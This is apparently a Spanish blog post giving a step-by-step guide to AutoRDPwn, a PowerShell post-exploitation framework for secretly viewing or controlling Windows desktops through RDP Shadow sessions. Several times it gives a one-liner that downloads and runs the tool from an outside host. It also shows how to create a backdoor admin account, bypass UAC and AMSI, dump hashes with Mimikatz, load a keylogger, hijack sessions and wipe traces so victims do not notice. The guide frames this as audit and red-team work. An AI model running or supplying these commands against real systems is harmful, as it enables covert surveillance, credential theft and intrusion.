Muy buenas a todos!

Después de muchos cambios, mejoras e intenso desarrollo, AutoRDPwn es más potente y funcional que nunca. Gracias al éxito que ha tenido y por petición popular, he decidido crear una guía de uso paso a paso.

Índice

1. Introducción
2. Requisitos
3. Concepto
4. Pasos previos
5. Vectores de ataque
6. El ataque Shadow
7. Atacando a la víctima
7.1. Desde nuestro equipo
7.2. Desde un equipo de la red corporativa
7.3. Desde una shell remota
7.4. Ataques a Windows Server
8. Módulos adicionales
9. Pivotando entre equipos
10. Ataques alternativos
11. Funcionalidades extra
12. Compatibilidad con otros sistemas


1. Introducción

AutoRDPwn es un framework de post-explotación creado en Powershell, diseñado principalmente para automatizar el ataque Shadow en equipos Microsoft Windows.

Esta vulnerabilidad (catalogada como característica por Microsoft) permite a un atacante remoto visualizar el escritorio de su víctima sin su consentimiento, e incluso controlarlo a petición, utilizando herramientas nativas del propio sistema operativo.

Gracias a los módulos adicionales, es posible obtener una shell remota a través de Netcat, volcar los hashes del sistema con Mimikatz, cargar un keylogger remoto y mucho más. Todo ello, A través de un menú totalmente intiutivo en siete idiomas diferentes y autocompletable.


2. Requisitos

Powershell 4.0 o superior


3. Concepto

Las Shadow Sessions son una característica especial de Terminal Services, diseñada para dar soporte a los usuarios utilizando únicamente herramientas nativas del sistema. Esto permite a los administradores del servidor ver o controlar las sesiones de los mismos a través de RDP, siendo muy útil en una gran variedad de escenarios y como herramienta de soporte de tipo HelpDesk.

Esta característica fue incorporada en Microsoft Windows Server 2003, siendo posible su instalación en todas las versiones posteriores de Windows Server a través de las características de Escritorio Remoto.

Una de las características más importantes de este ataque, es la posibilidad de habilitar esta funcionalidad en versiones de escritorio de Microsoft Windows, pudiendo así, ver o controlar una sesión remota de cualquier versión del sistema operativo, sea una versión Server o no.


4. Pasos previos

Uno de los requisitos indispensables para poder utilizar el ataque Shadow, es disponer de visibilidad directa con el equipo víctima a través de la red local. Parte de ello, se debe a los canales de comunicación utilizados por la herramienta, ya que algunos de ellos no soportan la comunicación a través de internet, o al menos, no de forma nativa.

Al tratarse de una herramienta de post-explotación, es indispensable contar con permisos de administrador local en la máquina remota. Esto se debe a que será necesario crear servicios, registrar librerías, crear excepciones en el firewall de Windows y modificar diferentes entradas en el registro. Todo ello, es necesario para que el sistema se comporte de la forma adecuada y el ataque funcione de forma óptima y totalmente transparente para la víctima.

De forma adicional, la herramienta contempla su uso a través de cualquier otro usuario limitado, con un proceso de integridad media. Esto nos permitirá el uso de algunos módulos, con los que será posible encontrar vulnerabilidades en el sistema o recuperar credenciales almacenadas, con el fin de obtener unas credenciales privilegiadas.

Por último, también existe la posibilidad de utilizar la herramienta sin disponer de credenciales, utilizando el propio token del usuario. Esto nos permitiría movernos lateralmente a través de todos los equipos de una red, sin tener que obtener la contraseña en texto claro, romperla, ni utilizar la técnica pass-the-hash.


5. Vectores de ataque

La herramienta incorpora hasta seis métodos diferentes para poder realizar la fase de explotación en la víctima. Esto nos brinda un amplio abanico de posibilidades, ya que solo necesitaremos que uno de los servicios se encuentre expuesto a través de la red para poder realizar el ataque de forma totalmente automática.

Los métodos disponibles actualmente, son los siguientes:

• PSexec (SMB)
• Pass the Hash (SMB)
• Windows Management Instrumentation (WMI)
• Windows Remote Management (WinRM)
• Windows Remote Assistance (WinRS)
• Remote Desktop Execution (RDP)

Adicionalmente, también está contemplado el uso de la herramienta a través de una shell remota, por lo que no sería necesario que ninguno de estos servicios estuviera expuesto a través de la red.

Para ello, solo sería necesario que alguno de los servicios anteriormente mencionados se encontrase en ejecución en el sistema local de la víctima. En este caso particular, no sería necesario disponer de credenciales, ya que la herramienta se ejecutaría en el contexto del usuario actual.


6. El ataque Shadow

El ataque Shadow consiste en el abuso de una mala configuración de las Shadow Sessions, permitiendo a un atacante remoto visualizar o controlar el escritorio de su víctima sin su consentimiento. Este escenario está contemplado como característica por Microsoft, por lo que no se encuentra parcheado actualmente y probablemente no lo esté en un futuro.

Para aquellas personas familiarizadas con las herramientas de tipo RAT, el ataque Shadow nace del mismo concepto, pero a diferencia de éste, utilizando casi en su totalidad herramientas nativas del sistema operativo.

Una de las bondades más destacables de esta técnica respecto al resto de ataques a RDP, como puede ser el Session Hijacking, es que en ningún momento cerramos la sesión de la víctima. De esta forma, el ataque será totalmente transparente para el usuario y muy difícil de detectar a simple vista.


7. Atacando a la víctima

En primer lugar, debemos contemplar los diferentes escenarios posibles antes de realizar el ataque. Partiendo de la base que cumplimos todos los requisitos necesarios y que tenemos un objetivo claro, podemos encontraros en tres situaciones diferentes:

1. Hemos obtenido unas credenciales en texto plano o un hash de tipo NTLM
2. Tenemos acceso a un equipo desprotegido dentro de la red corporativa
3. Disponemos de acceso a una shell remota de un equipo del cliente

En función de cada escenario, dispondremos de diferentes ventajas y metodologías, que se explican detalladamente a continuación.


7.1. Desde nuestro equipo

Supongamos que nos encontramos en una auditoría interna, hemos obtenido credenciales a través de cualquier método y queremos atacar a un objetivo concreto.

Lo primero que necesitaremos, será ejecutar la herramienta en nuestro equipo Microsoft Windows utilizando el siguiente comando:

powershell -ep bypass "cd $env:temp ; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1"

Esto descargará la herramienta en un fichero temporal, que se destruirá automáticamente al finalizar su uso. Posteriormente se ejecutará y nos mostrará el menú principal de la herramienta:

Esta parte es trivial, ya que actualmente la herramienta necesitará utilizar el mismo idioma que el equipo víctima. Esto se debe, a que algunas reglas de firewall que serán activadas, estarán escritas en el idioma local y no se encontrarán si no existe coincidencia. En futuras versiones esto no será necesario, siendo únicamente una preferencia personal.

Adicionalmente, este menú actúa como loader, realizando un bypass de UAC y de AMSI durante su ejecución. Todo ello, utilizando técnicas fileless e inyecciones en memoria.

Una vez seleccionado el idioma, nos encontraremos con el menú principal. En él, encontraremos todos los vectores de ataques disponibles, el Session Hijacking (en el que nos centraremos más adelante) y los módulos adicionales.

En este ejemplo, vamos a lanzar únicamente el ataque Shadow, sin cargar ningún complemento adicional. Para llevar a cabo la demostración, utilizaremos un Windows 10 Home como equipo víctima.

Al tratarse de un equipo de escritorio, es probable que no encontremos servicios de WMI o WinRM en ejecución, siendo así la opción de entrar por SMB la más viable. En este caso, utilizando credenciales de un usuario en texto plano, solo necesitaremos conocer la IP o el nombre de host del equipo para poder lanzar el ataque.

Una vez ejecutados los primeros payloads, se establecerá una conexión con la víctima que ejecutará todos los comandos necesarios para llevar el ataque a su correcta ejecución. En este momento, nos encontraremos con la siguiente pregunta: Quieres ver o controlar a la víctima?

Nuevamente, este paso es trivial. Debido a la naturaleza de las Shadow Sessions, solo podremos ver o controlar el equipo remoto en función de su configuración. Una política más permisiva no nos permitirá realizar una acción diferente, siendo necesario configurar esta opción en cada ataque.

En este caso práctico, visualizaremos a la víctima, para poder estudiar su comportamiento. De esta forma podremos contemplar en tiempo real su escritorio y podremos obtener evidencias en formato vídeo, que podremos grabar sin que la víctima sea consciente de ello en ningún momento.

Una vez tomada nuestra decisión, el programa continuará con la ejecución del resto de comandos:

A partir de este punto, además de configurar las Shadow Sessions, se realizan todos los cambios necesarios en el equipo, por destacar lo más importantes:

• Se habilita el escritorio remoto (incluso en versiones que no disponen de ello)
• Se deshabilita el NLA, el CreedSSP y se utiliza el cifrado más débil posible
• Se habilitan los servicios de WinRM, WMI, SMB y WinRS para posteriores intrusiones
• Se agregan reglas nuevas en el firewall de Windows y se habilitan las ya existentes
• Se deshabilita la autenticación obligatoria para las conexiones RDP
• Se habilitan las sesiones concurrentes a través de RDP sin límite de usuarios

En función del sistema operativo víctima, esto cambiará, ya que las versiones de Windows Server se comportan de forma distinta. La herramienta detectará automáticamente en que entorno se encuentra y buscará las sesiones activas en el equipo. Esta parte es fundamental, ya que el ataque Shadow solo funcionará cuando exista una sesión activa en el equipo.

Si todo ha salido bien, nos aparecerá un mensaje solicitando las credenciales que hemos introducido anteriormente, para poder entrar a través del escritorio remoto.

Una vez introducidas, aparecerá la ventana de escritorio remoto con la Shadow Session de la víctima, sin mostrar ningún tipo de aviso a la misma. En función de nuestra elección, podremos visualizar en la esquina superior izquierda, la palabra Viendo o Controlando:

En este caso, no podremos interactuar con la víctima, pero podremos ver con total detalle y fluidez lo que está haciendo. Además, con esta técnica, podremos obtener las credenciales de un teclado virtual, de un OTP o de muchas otras cosas, que de otra forma no podríamos.

Como dato adicional, durante todo el proceso solo se ha escrito un único fichero .ps1 en el equipo. Al finalizar el ataque, la herramienta se autodestruirá y eliminará el portapapeles y el historial de ejecución de PowerShell. Dejando así, el mínimo rastro posible.


7.2. Desde un equipo de la red corporativa

Supongamos que ahora, nos encontramos en un ejercicio de Red Team. En este nuevo escenario, nos encontramos con un equipo desbloqueado. No conocemos las credenciales, pero el usuario es administrador local de su equipo.

En esta situación podríamos obtener los hashes del equipo e intentar crackear la contraseña, pero no disponemos del tiempo suficiente y simplemente queremos acceder a otros equipos para obtener más evidencias o implantar un backdoor.

En este caso, nuevamente volveremos a ejecutar la herramienta en ése equipo Microsoft Windows utilizando el siguiente comando:

powershell -ep bypass "cd $env:temp ; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1"

Hasta aquí todo será idéntico a lo descrito anteriormente, a excepción de los siguientes puntos:

• Al introducir el usuario, pulsaremos la tecla “intro”, esto autocompletará el campo con el usuario actual, independientemente de si el mismo está dentro o fuera de un dominio
• Al introducir la contraseña, pulsaremos de nuevo la tecla “intro” y esto autocompletará el campo, con el token del usuario actual
• Al crearse la Shadow Session, no nos preguntará por las credenciales (ya que no las sabemos)

Al resto de efectos prácticos, no habrá diferencia con el ataque descrito anteriormente.

El uso del token de usuario funciona de forma automática entre equipos de dominio y entre equipos en grupo de trabajo, siempre y cuando el usuario y las credenciales sean idénticas.


7.3. Desde una shell remota

En este caso práctico, vamos a contemplar la posibilidad de realizar el ataque a través de una shell remota.

Supongamos que hemos explotado una vulnerabilidad en un servidor web y hemos conseguido obtener una consola semi-interactiva a través de Netcat.

En este caso, realizaremos el mismo proceso que en los dos casos anteriores, pero utilizando parámetros dentro de la propia sintaxis de ejecución. De esta forma, el menú interactivo no aparecerá y no será necesaria interacción en el equipo víctima.

Un ejemplo de ello, sería el siguiente comando:

powershell -ep bypass "cd $env:temp ; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1 -noadmin -nogui -lang Spanish -option 3 -shadow control -createuser"

Antes de ponerlo en práctica, veamos para que sirve cada parámetro:

Parámetro Descripción
-admin / -noadmin Dependiendo de los permisos de los que dispongamos, utilizaremos una u otra
-nogui Esto evitará cargar el menú y algunos colores, garantizado su funcionalidad
-lang Elegiremos nuestro idioma (English, Spanish, French, German, Italian, Russian o Portuguese)
-option Al igual que con el menú, podremos elegir cómo lanzar el ataque
-shadow Decidiremos si queremos ver o controlar el equipo remoto
-createuser Este parámetro es opcional, creará el usuario AutoRDPwn:AutoRDPwn en el equipo víctima

Por lo tanto, en el ejemplo anterior, lo que sucedería sería lo siguiente:

1. Se ejecutaría con los permisos del usuario actual
2. Se deshabilitaría el menú y los colores
3. Se seleccionaría el idioma español
4. Se utilizaría WMI (opción 3) para la ejecución de todos los payloads
5. Se establecería el control de la sesión en modo “controlar”
6. Se crearía un usuario administrador local llamado AutoRDPwn

Como podemos ver en la siguiente imagen, al llevarlo a la práctica, la ejecución de todos los comandos ha sido realizada correctamente en la máquina víctima:

Por lo que ahora, lo único que nos quedaría por hacer, sería realizar la ejecución del comando que nos proporcionará la Shadow Session:

mstsc /v win10pro /admin /shadow:1 /control /noconsentprompt /prompt /f

Al hacerlo, nos aparecerá la ventana solicitando las credenciales necesarias para ello:

Recordemos que al utilizar el parámetro –createuser le hemos indicado a la herramienta que cree un administrador local llamado AutoRDPwn con contraseña idéntica al nombre.

Por lo tanto, al introducir esas credenciales y sin tener conocimientos previos de ninguna otra cuenta de usuario, ni disponer de credenciales, podremos acceder sin problema alguno:

Además, si nos fijamos en la esquina superior izquierda, en este caso concreto, dispondremos del control total del escritorio de la víctima.

De esta forma, podremos interactuar con la sesión de la misma forma que lo haríamos si tuviéramos el equipo delante nuestro, pudiendo ejecutar programas, modificar el sistema o cualquier otra cosa que se nos ocurra.


7.4. Ataques a Windows Server

A pesar de ser un escenario prácticamente idéntico, existen algunas peculiaridades al realizar el ataque contra una versión de Windows Server.

Esto se debe principalmente, a la implementación de los servicios de escritorio remoto que utiliza este sistema operativo.

Uno de los conceptos clave a tener en cuenta, es que, por defecto, es posible utilizar dos usuarios de forma concurrente a través de RDP. Esto, nos permitirá decidir contra qué usuario queremos lanzar el ataque, e incluso, lanzar el ataque contra nosotros mismos.

Como ejemplo práctico, se realizará el ataque de forma externa, utilizando la técnica de ejecución de comandos a través de RDP:

Como podemos ver en la imagen anterior, todos los ataques siempre nos solicitarán los mismos datos: IP o nombre host, usuario y contraseña.

Esta técnica, tiene una peculiaridad a tener en cuenta. Si se utiliza un usuario que actualmente esté conectado al servidor, se le desconectará de su sesión (al igual que sucede con la técnica de session hijacking) ya que al final, estamos entrando con su usuario.

Si el usuario no ha iniciado sesión, la herramienta nos lo notificará en un primer lugar, previo paso a la ejecución de los payloads necesarios para crear la conexión con la víctima.

A continuación, se muestra con más detalle el proceso de explotación en la víctima:

Una vez llegados a este punto, decidiremos nuevamente si queremos ver o controlar el equipo. En este caso, tomaremos el control del mismo.

Tal y como se ha comentado anteriormente, en este punto nos encontraremos con que la herramienta ha detectado el sistema operativo de la víctima. Al tratarse de un Windows Server, nos mostrará un listado de todos los usuarios conectados actualmente y cuáles de ellos tienen una sesión activa.

Es importante tener en cuenta esta terminología, ya que un usuario conectado no tiene por qué tener una sesión activa. El ataque Shadow solo funcionará con usuarios activos.

Una vez indicada nuestra víctima a la herramienta, nos solicitará credenciales para acceder:

Por último, si hemos introducido las credenciales correctamente, nos aparecerá la Shadow Session del usuario que hayamos indicado anteriormente:

Otra de las técnicas que podemos utilizar bajo este entorno, es atacarnos a nosotros mismos. Aunque a priori pueda parecer algo extraño, tiene su explicación.

Existen entornos en los que múltiples usuarios trabajan conectados de forma concurrente en el mismo servidor. A estos servidores se les denomina Terminal Server, siendo su uso muy extendido a lo largo y ancho del panorama empresarial.

Una de las virtudes de estos montajes, es la facilidad de controlar la seguridad de un único punto y de centralizar los recursos económicos en un único equipo. Para acceder a estos servidores, se suelen utilizar equipos ligeros o thin clients en inglés.

Supongamos ahora que nos encontramos en el escenario anteriormente mencionado. Hemos conseguido entrar a través de escritorio remoto al servidor, escalamos privilegios y el administrador del dominio se encuentra conectado al equipo.

Una vez tengamos la herramienta en ejecución, la tarea será sencilla. Primero, elegiremos el método de explotación que más nos interese. Al encontrarnos dentro del servidor, no habrá problemas con la exposición de puertos, ni del firewall, ni de ninguna otra medida de protección que nos impida ejecutar código en el equipo víctima.

Además, no será necesario introducir ningún campo, ya que pulsando la tecla “intro” se autocompletarán todos los campos necesarios (IP o nombre de host, usuario y contraseña).

También podemos usar otras credenciales con más privilegios si disponemos de las mismas.

Si todo funciona según lo esperado, de nuevo nos encontraremos con la lista de usuarios conectados al servidor:

Por último, introduciremos el número de ID de sesión que queremos ver o controlar y nos aparecerá la sesión de ése usuario, al igual que en el resto de escenarios.

Adicionalmente, es posible lanzar múltiples ataques y visualizar de forma simultánea tantas sesiones como usuarios estén conectados en ese mismo instante.

Es importante recordar que el ataque Shadow solo funciona con las sesiones activas, por lo que, si queremos acceder a una sesión inactiva, tendremos que hacer un Session Hijacking.


8. Módulos adicionales

Debido a las limitaciones del ataque Shadow, es posible que nos encontremos en la situación de necesitar otras herramientas, por ejemplo, para realizar el ataque Pass The Hash.

Esto suele ser muy habitual en un pentest interno, pero si no disponemos de suficiente tiempo, podría ser decisivo entre el éxito o el fracaso. Adicionalmente, es muy problemático instalar herramientas al realizar un pivote entre diferentes equipos de una red.

Para poder suplir estas carencias y solventar el problema anterior, se le ha dotado a la herramienta todo tipo de módulos y herramientas de terceros, que nos permitirán añadir funcionalidades extra sin tener que instalar ninguna dependencia, ejecutándose gran parte de las mismas en la memoria del sistema operativo.

Para poder acceder al listado de categorías de los diferentes módulos, tan solo tendremos que introducir la letra “M” en el menú principal:

Una vez accedamos al submenú de módulos, nos encontraremos las siguientes categorías:

• Acceso Remoto
• Contraseñas y hashes
• Networking / Pivoting
• Remote Desktop Forensics
• Backdoors y persistencia
• Escalada de privilegios
• Otros módulos

A continuación, se muestra una captura de pantalla en la que puede verse claramente:

Debido a que la lista de módulos es muy larga, nos limitaremos a repasar lo más importantes, o los que podrían necesitarse de forma habitual en una auditoría interna.

El primero que veremos a continuación, será la consola semi-interactiva de WinRS. Este módulo, ejecutará un símbolo del sistema en el equipo víctima y nos devolverá la entrada y la salida a través de la misma.

Para la comunicación, se utilizará el método de Remote Support que se encuentra integrado en el sistema de forma nativa. De esta forma, las soluciones antivirus no detectarán ningún comportamiento sospechoso y podremos interactuar sin problemas con el equipo víctima.

Para poder cargar este, y cualquiera de los otros módulos, lo haremos de la misma forma que si de un ataque se tratase. Seleccionaremos la opción que más nos interese e introduciremos la opción en el menú correspondiente.

En nuestro caso, la consola semi-interactiva se encuentra dentro del submenú llamado Acceso Remoto. Una vez dentro, lo cargaremos tal y como se muestra a continuación:

Una vez cargado, la herramienta ejecutará el payload correspondiente al finalizar el ataque Shadow. De esta forma, la misma ventana que aloja el menú, se transformará en una consola donde podremos ejecutar los comandos que nosotros queramos.

Es importante tener en cuenta que actualmente algunos módulos solo se ejecutan localmente, como podría ser el caso de Mimikatz. En este caso concreto, la Shell de WinRS, se ejecutará de forma remota, ya que no existe la posibilidad de ejecutarlo localmente a no ser, que nosotros mismos seamos el target del ataque actual.

En futuras versiones, se incorporará la opción de cargar todos los módulos de forma local o remota, a petición del usuario.

Volviendo de nuevo al caso anterior, si hemos cargado la opción correspondiente, al ejecutarse la Shadow Session, también lo hará la consola correspondiente. De esta forma, podríamos estar viendo la sesión de un usuario mientras navegamos por sus directorios, buscamos credenciales o ejecutamos nuevos procesos.

A continuación, se muestra cómo se vería la consola de forma simultánea a la Shadow Session:

Otra de las posibilidades que nos otorga la herramienta, consiste en la funcionalidad de encadenar módulos, de esta forma, sería posible aumentar más todavía la interacción con la víctima.

Un ejemplo claro, sería la opción de cargar el módulo de PowerShell Web Server de forma adicional al ejemplo anterior. En ese caso, no solo estaríamos viendo la sesión e interactuando con ella a través de la consola, si no, que adicionalmente, tendríamos acceso a través del navegador, para poder subir ficheros, descargarlos y ejecutar comandos a través del mismo.

No existe límite a la hora de cargar módulos de forma conjunta, ya que están planteados para que no utilicen los mismos puertos, ni los mismos servicios. Gracias a esto, queda a decisión del auditor utilizar el conjunto de herramientas que precise o necesite en el momento de la auditoría.

Otro de los módulos indispensables, que también ha sido mencionado anteriormente, es Mimikatz. Esta versión, se ejecuta en memoria a través de PowerShell de forma reflexiva, añadiendo un pequeño grado de evasión en soluciones antivirus más antiguas.

Este módulo, por ahora, solo puede cargarse localmente y se encuentra alojado en la categoría de Contraseñas y hashes:

Otra de las virtudes de este método, es que el sistema detectará previamente sobre que arquitectura estamos trabajando y descargará únicamente, la versión que necesitamos.

Ya que el principal propósito de este módulo es obtener los hashes para su posterior almacenamiento (tanto para su uso como de evidencia para el informe), la herramienta guardará de forma automática en el portapapeles, todas las salidas de cada uno de los módulos.

De esta forma, el auditor podrá guardar los hashes sin la necesidad de tener que escribir ningún fichero en disco. Para ello, solo tendrá que pegar el texto en cualquier editor de textos.

Como dato adicional, el portapapeles se elimina automáticamente cuando finaliza el uso de la herramienta.
A continuación, se muestra como cargar el módulo anterior:

Una vez ejecutado, aparecerá el resultado en pantalla, como puede verse en la siguiente imagen:

Po último, solo necesitaremos pegar el contenido en cualquier editor de texto:

Una vez hayamos terminado la ejecución de cualquier módulo local o la carga de un módulo remoto, solo necesitaremos volver a pulsar “intro” para volver al menú principal. Al igual que con los módulos remotos, no existe límite de uso para los módulos locales.

La única limitación existente, es que los módulos locales no pueden ejecutarse de forma simultánea, por lo que, deberemos esperar a que termine uno antes de poder ejecutar el siguiente.

Es posible ejecutar cualquier módulo local mientras se cargan los remotos y viceversa, hasta que el ataque no termine y no se cierren todos los procesos, todo continuará en ejecución.

Una vez hayamos acabado con el ataque Shadow y sus módulos, la herramienta realizará una limpieza completa de todos los temporales y modificaciones realizadas.

Por último, otro de los módulos que podrían ser de gran utilidad en una auditoría, sería cualquiera de los ubicados en la sección de Escalada de privilegios.

Gracias a ellos, podemos encontrar vulnerabilidades y malas configuraciones en el sistema operativo, con la finalidad de conseguir un proceso de alta integridad y poder ejecutar la herramienta con todo su potencial.

Uno de los más conocidos, se trata de Sherlock. Esta herramienta realizará una búsqueda completa en el sistema, con el fin de encontrar un exploit al que sea vulnerable. Tras la misma, nos mostrará en pantalla los resultados, entre los que se incluyen el CVE y un link funcional de la PoC para poder ejecutarlo en el equipo víctima.

A continuación, se muestra el uso del módulo, de la misma forma que todos los anteriores:

Al igual que con el resto de módulos locales, el resultado se guardará en nuestro portapapeles para no generar ningún fichero en disco. Por último, solo tendremos que pegarlo para su posterior lectura o guardarlo como registro o evidencia.

Al finalizar, todos los módulos se quedarán a la espera de que pulsemos la tecla “intro” para poder continuar, tal y como se muestra en la siguiente imagen:

Al hacerlo, volveremos al menú principal y podremos continuar cargando más modulos, lanzar el ataque Shadow o cerrar la herramienta pulsando la tecla “X”.

Es muy importante cerrar la herramienta a través de este sistema, ya que, si forzamos el cierre a través de cualquier otro método, la herramienta no realizará las tareas de limpieza necesarias en el equipo.

Para evitar el cierre accidental de la misma, se ha deshabilitado la posibilidad de hacerlo a través del símbolo “X” en la ventana de PowerShell.


9. Pivotando entre equipos

Una de las funcionalidades y grandes ventajas que nos permite el ataque Shadow, es poder movernos de forma fácil y rápida a través de los equipos de una red local.

Si disponemos del token o las credenciales adecuadas en una red de dominios, o incluso se reutiliza la contraseña de un usuario administrador en un esquema de grupo de trabajo, podremos pivotar entre equipos sin ningún tipo de dificultad, incluso, sin conocer la contraseña.

Para ello, lo único que necesitaremos hacer, será lanzar la herramienta desde un equipo controlado desde una Shadow Session. De esta forma, podremos pasar de un equipo a otro encadenando sesiones de RDP.

A continuación, se muestra la herramienta siendo ejecutada en una sesión controlada:

Tal y como puede verse en la imagen, la herramienta realizará las técnicas de evasión necesarias para su correcto funcionamiento en cualquier equipo. Una vez finalizado el ataque, la herramienta destruirá todo su rastro y eliminará todas las exclusiones que haya creado en Windows Defender y volverá a dejar la configuración del equipo en su estado inicial.

Es importante tener en cuenta que quedará rastro en el registro de Windows, aunque es posible desactivarlo a través del módulo llamado Desactivar logs del sistema.


10. Ataques alternativos

A pesar de ser un ataque muy completo, una de las graves desventajas y limitaciones del ataque Shadow es el hecho de necesitar una sesión de usuario activa.

Por esto mismo, se implementó la funcionalidad de realizar un Session Hijacking de forma totalmente automatizada, al igual que el resto de técnicas utilizadas por la herramienta.

Para llevar esto a cabo, solo necesitaremos elegir la opción adecuada en el menú principal.

Pero antes, veamos qué usuario estamos utilizando actualmente desde la opción Otros Módulos:

En este ejemplo práctico, nos encontramos en el siguiente escenario:

• Estamos conectados por escritorio remoto al servidor Win2019
• Estamos utilizando la sesión del usuario llamado “usuario”
• El usuario tiene privilegios de administrador local en el equipo

Ahora podremos cargar el ataque a través de la opción Local Session Hijacking:

Una vez cargado el ataque, la herramienta descargará e instalará un complemento de PowerShell que le permitirá realizar un duplicado del token de NT AUTHORITY\SYSTEM.

Esto es necesario, ya que, por debajo, lo que se realizará será la conexión a una cuenta a través del binario tscon.exe. Esta utilidad nativa del sistema, nos permite conectarnos a la sesión de cualquier usuario, siempre y cuando conozcamos sus credenciales.

Debido a la propia estructura del sistema operativo, la cuenta de SYSTEM no necesitará credenciales para obtener la sesión de cualquier usuario, se encuentre activo o no.

Gracias a esto, la herramienta elevará nuestro proceso al contexto anterior, para posteriormente mostrarnos las sesiones conectadas en el servidor. De esta forma, solo tendremos que indicar el ID de sesión que queremos secuestrar y a continuación obtendremos su sesión, sin conocimiento alguno de sus credenciales.

Una vez obtenida la sesión del usuario, podemos comprobarlo nuevamente a través del comando whoami:

Llegados a este punto, vamos a puntualizar la diferencia entre usuarios activos y usuarios conectados. Es muy importante entender esta terminología, ya que será decisiva de cara a realizar un ataque u otro.

En primer lugar, es totalmente indiferente que un usuario se conecte físicamente o a través de escritorio remoto, lo importante es que el usuario ha iniciado sesión en el equipo. Esta parte es clave para entender el funcionamiento de las sesiones, ya que es posible crear procesos en un equipo sin haber iniciado sesión en el mismo.

Un ejemplo claro de este concepto es el uso del binario runas, que nos permite hacerlo con otra cuenta de usuario sin tener que iniciar sesión con el mismo.

Una vez la sesión se inicia, podemos encontrarnos en dos estados diferentes, activo o inactivo. Para encontramos en el primero, necesitaremos estar usando activamente el equipo (ya sea navegando, trabajando, jugando o realizando cualquier otra actividad). Mientras que, para situarnos en el segundo, no necesitaremos hacer nada. Es decir, nos encontraremos inactivos.

Este fenómeno se produce a partir de un tiempo preestablecido en el sistema. Pasado este tiempo, el equipo se bloqueará y será necesario iniciar sesión de nuevo para devolver la actividad a la cuenta.

Otros escenarios posibles en los que podemos encontrar cuentas inactivas son los siguientes:

• El usuario ha bloqueado voluntariamente el equipo
• El usuario está conectado por escritorio remoto y se ha desconectado

Este último concepto es importante a tener en cuenta, ya que, en un entorno de Terminal Server, el sistema nos proporciona la opción de desconectarnos del servidor sin cerrar la sesión. Esto es muy útil para el usuario, dado que le permite la posibilidad de ausentarse durante un tiempo determinado sin perder el trabajo en curso.

En todos los casos anteriores, la cuenta se encontrará inactiva, por lo que sabremos a ciencia cierta que no habrá nadie delante del equipo para poder secuestrarle la sesión. Evidentemente, esta técnica conlleva un alto riesgo, ya que, el usuario podría volver en cualquier momento y frustrar nuestros planes.

Una de las ventajas de esta técnica sobre sesiones inactivas, es que, si realizamos nuestras acciones previamente al regreso del usuario, éste no notará ningún cambio tras iniciar de nuevo la sesión.

Es muy importante por ello, no realizar esta técnica contra usuarios activos, ya que el sistema les bloqueará la cuenta y el usuario se percatará de ello inmediatamente.

Como conclusión final, se recomienda utilizar el ataque Shadow contra usuarios activos y la técnica de Session Hijacking contra los usuarios inactivos. De esta forma, elevaremos las posibilidades de no ser descubiertos en ninguno de los dos casos.


11. Funcionalidades extra

Otra de las funcionalidades que nos permite realizar la herramienta, es aprovechar el propio loader de la misma para cargar herramientas o scripts de terceros, que no están incluidos en la herramienta de forma explícita.

Aprovechando el bypass de UAC, AMSI y las exclusiones de Windows Defender, podemos ejecutar todo tipo de scripts sin temor a ser detectados o bloqueados por el sistema. Esto nos será de gran utilidad, ya que, en un momento dado, podríamos necesitar ejecutar un script que no esté incluido en la propia herramienta.

Para poder llevar esto a cabo, utilizaremos el módulo denominado Ejecutar un script externo que se encuentra dentro de la sección Otros módulos. Esto nos permitirá cargar un script local o directamente desde internet, siendo tan sencillo como indicar la ruta del mismo y la función a ejecutar.

Para este ejemplo, vamos a crear un pequeño script que mostrará la frase “Hello World” por pantalla. Todo esto a través de una función que llamaremos hello-world.

A continuación, lo único que tendremos que introducir será la ruta de nuestro script y el nombre de la función a ejecutar, tal y como puede verse en la siguiente imagen:

Si el script en cuestión no dispone de ninguna función y la ejecución es directa, no será necesario rellenar el último campo. Para poder cargar un script a través de internet, lo único que tendremos que introducir en la ruta, será la URL del mismo.

Por último, es posible ejecutar cualquier fragmento de código directamente, introduciendo la palabra local en el primer campo.


Compatibilidad con otros sistemas

A pesar de que la herramienta está pensada para ser utilizada en entornos Microsoft Windows, existe la posibilidad de utilizarla en Linux a través de PowerShell. Además, también es posible utilizar la autenticación NTLM a través de Linux, por lo que sería totalmente viable lanzar el ataque desde ese escenario.

Para ello, se creará próximamente un docker con todo lo necesario para que la herramienta funcione correctamente. Actualmente, es posible hacer algunas pruebas con el siguiente:
https://github.com/quickbreach/PowerShell-NTLM

Una vez descargado y ejecutado, dispondremos de una consola de PowerShell con compatibilidad para utilizar la herramienta a través de WinRM exclusivamente.

Por último, solo tendríamos que introducir el siguiente comando:

iwr https://darkbyte.net/autordpwn.php -o AutoRDPwn.ps1 ; .\AutoRDPwn.ps1

Con esto, ya tendríamos la herramienta lista para funcionar, tal y como puede verse en la siguiente imagen:

Es importante tener en cuenta que actualmente no existe soporte para las Shadow Sessions a través de Linux. Actualmente, los programadores de rdesktop tienen pendiente en su lsita de añadir esa funcionalidad, tal y como puede verse en el siguiente hilo: https://github.com/rdesktop/rdesktop/issues/141

De todas formas, es posible ejecutar todos los payloads, activando la vulnerabilidad en la víctima para su posterior explotación a través de Windows. Además, es posible cargar módulos como el keylogger remoto, que nos permitirá visualizar todas las teclas introducidas por la víctima en tiempo real desde nuestra consola.

Es muy probable que, con el tiempo, la herramienta sea totalmente compatible con este entorno, siendo el único requisito, tener que utilizar un contenedor previamente preparado para este fin.

Aquí termina esta extensa (pero bastante completa) guía de uso. Espero que os haya gustado y os resulte útil en vuestras próximas auditorías.

Nos vemos en la próxima!